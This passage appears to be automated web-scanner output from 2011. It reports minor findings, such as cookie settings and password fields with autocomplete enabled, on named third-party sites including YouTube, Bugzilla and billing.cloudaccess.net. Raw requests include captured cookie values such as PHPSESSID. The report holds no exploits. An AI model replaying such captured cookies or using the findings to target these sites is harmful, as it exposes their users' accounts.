HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22304%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /drivers/64-bit-vista-drivers.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.yencode.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /license HTTP/1.1 Host: www.yootheme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:40:26 GMT Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1+lenny8 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 0a037d8aa01b5240628765e3d35f3802=fcc157f1a62351510d502dbf94d54b0d; path=/ Last-Modified: Tue, 25 Jan 2011 04:40:26 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 14130
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?hl=en&tab=w1 HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=3d11d5cb2b3e40e368f83f82e88170a4dAEAAAAx; GEO=5b80f4299f7903fea6e2637fc3585e04cwsAAAAzVVOtwdbzTTzh/A==;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:43 GMT Server: Apache X-Content-Type-Options: nosniff Set-Cookie: PREF=f1=50000000; path=/; domain=.youtube.com; expires=Thu, 21-Jan-2021 16:01:43 GMT Set-Cookie: GEO=930f412dd946c393c719c45b1db7c824cwsAAAAzVVOtwdbzTT2iZw==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /results?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=w1 HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=3d11d5cb2b3e40e368f83f82e88170a4dAEAAAAx; GEO=5b80f4299f7903fea6e2637fc3585e04cwsAAAAzVVOtwdbzTTzh/A==;
Response
HTTP/1.1 303 See Other Date: Mon, 24 Jan 2011 16:01:47 GMT Server: wiseguy/0.6.7 Content-Length: 0 X-Content-Type-Options: nosniff Set-Cookie: PREF=f1=50000000; path=/; domain=.youtube.com; expires=Thu, 21-Jan-2021 16:01:47 GMT Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Location: http://www.youtube.com/das_captcha?next=http%3A//www.youtube.com/results%3Fhl%3Den%26q%3Dges%26um%3D1%26ie%3DUTF-8%26sa%3DN%26tab%3Dw1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /subscribe_widget?p=joomla HTTP/1.1 Host: www.youtube.com Proxy-Connection: keep-alive Referer: http://community.joomla.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Subscribe to joomla</title> <link rel="stylesheet" href="http://s.ytimg.c ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo?rf=238222574511555904 HTTP/1.1 Host: www.zazzle.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo HTTP/1.1 Host: www.zazzle.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www1.whdh.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>WHDH 7NEWS NBC Boston/Regional News, Weather, Traffic, Sports, Entertainment Coverage ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ads3/a HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:14 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Wed, 25-Jan-12 00:11:14 GMT; DOMAIN=.zedo.com Set-Cookie: ZEDOIDA=jgHX0goAACQAAH@dLJYAAAKY~012511; path=/; expires=Fri, 22-Jan-21 00:11:14 GMT; domain=.zedo.com Expires: -1 Pragma: no-cache Cache-Control: no-cache P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Vary: Accept-Encoding Content-Length: 266 Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: xfactor.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: yoga.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: youtube.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
https://acc.newsguy.com/cgi-bin/login_prx
The form contains the following password field with autocomplete enabled:
pass
Request
GET /cgi-bin/login_frm HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=BGcaQVM6SsMq0HMk6SquKem4opp0oWW0L4d3d923f;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 14:52:59 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Connection: close Content-Type: text/html
<html>
<head> <title>Newsguy - Login to Newsguy</title> <meta NAME="description" CONTENT="Access to Usenet Newsgroups, Email accounts, Web space, Software, Archives, Art & Music Galleries, Feature co ...[SNIP]... <!--webbot BOT="GeneratedScript" endspan --><form method="POST" name="FrontPage_Form1" action="/cgi-bin/login_prx" onsubmit="return FrontPage_Form1_Validator(this)"> <div align="center"> ...[SNIP]... <!--webbot bot="Validation" b-value-required="TRUE" --><input type="password" size="12" name="pass"></font> ...[SNIP]...
The form contains the following password fields with autocomplete enabled:
pass1
pass2
Request
GET /user/accnt_settings HTTP/1.1 Host: acc.newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256;
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:37 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 WWW-Authenticate: Basic realm="NEWSGUY" Set-Cookie: DIGEST=C378.xjGh8DpywVURU2nsemaopp0oWW0L4d3d9451; path=/; domain=.newsguy.com; Connection: close Content-Type: text/html
The page contains a form with the following action URL:
https://billing.cloudaccess.net/dologin.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /clientarea.php HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:12 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5693 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /clientarea.php HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:12 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5693 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL:
https://billing.cloudaccess.net/dologin.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /domainchecker.php HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:12 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8492
The page contains a form with the following action URL:
https://billing.cloudaccess.net/dologin.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase.php HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:23 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 9061
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/10/Managing-your-account HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:26 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 7344 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/12/Cloud-Control-Panel HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:33 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 6866 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/13/Images HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:57 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5709 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/14/Article-Manager HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:51 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 10089
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/15/Support HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:30 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5648 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/28/How-to-change-your-domain-name.html HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:09 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8379
The form contains the following password field with autocomplete enabled:
password
Request
GET /knowledgebase/38/How-to-upgrade-your-demo-site.html HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:56:24 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 12353
The page contains a form with the following action URL:
https://billing.cloudaccess.net/dologin.php
The form contains the following password field with autocomplete enabled:
password
Request
GET /submitticket.php?step=2&deptid=14 HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:33 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5699 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
password
Request
GET /submitticket.php?step=2&deptid=14 HTTP/1.1 Host: billing.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=nlahukcb6v56uitl53v0m81g20; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.4.10.1295877160;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 13:57:33 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 5699 Connection: close Content-Type: text/html; charset=utf-8
The form contains the following password field with autocomplete enabled:
Bugzilla_password
Request
GET /show_bug.cgi?id=378962 HTTP/1.1 Host: bugzilla.mozilla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Backend-Server: pm-app-bugs05 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Strict-transport-security: max-age=2629744; includeSubDomains Date: Mon, 24 Jan 2011 22:30:22 GMT Keep-Alive: timeout=300, max=1000 Connection: close Content-Length: 58445
The page contains a form with the following action URL:
https://bugzilla.mozilla.org/show_bug.cgi
The form contains the following password field with autocomplete enabled:
Bugzilla_password
Request
GET /show_bug.cgi HTTP/1.1 Host: bugzilla.mozilla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Backend-Server: pm-app-bugs03 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Strict-transport-security: max-age=2629744; includeSubDomains Date: Mon, 24 Jan 2011 22:30:20 GMT Keep-Alive: timeout=300, max=1000 Connection: close Content-Length: 11817
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Search by bug number</title>
The page contains a form with the following action URL:
https://bugzilla.mozilla.org/show_bug.cgi
The form contains the following password field with autocomplete enabled:
Bugzilla_password
Request
GET /show_bug.cgi HTTP/1.1 Host: bugzilla.mozilla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Backend-Server: pm-app-bugs03 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Strict-transport-security: max-age=2629744; includeSubDomains Date: Mon, 24 Jan 2011 22:30:20 GMT Keep-Alive: timeout=300, max=1000 Connection: close Content-Length: 11817
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Search by bug number</title>
The form contains the following password field with autocomplete enabled:
Bugzilla_password
Request
GET /show_bug.cgi?id=378962 HTTP/1.1 Host: bugzilla.mozilla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache X-Backend-Server: pm-app-bugs05 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Strict-transport-security: max-age=2629744; includeSubDomains Date: Mon, 24 Jan 2011 22:30:22 GMT Keep-Alive: timeout=300, max=1000 Connection: close Content-Length: 58445
The page contains a form with the following action URL:
http://community.joomla.org/login.html
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /login.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:24:44 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:24:44 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 23975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://community.joomla.org/showcase/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
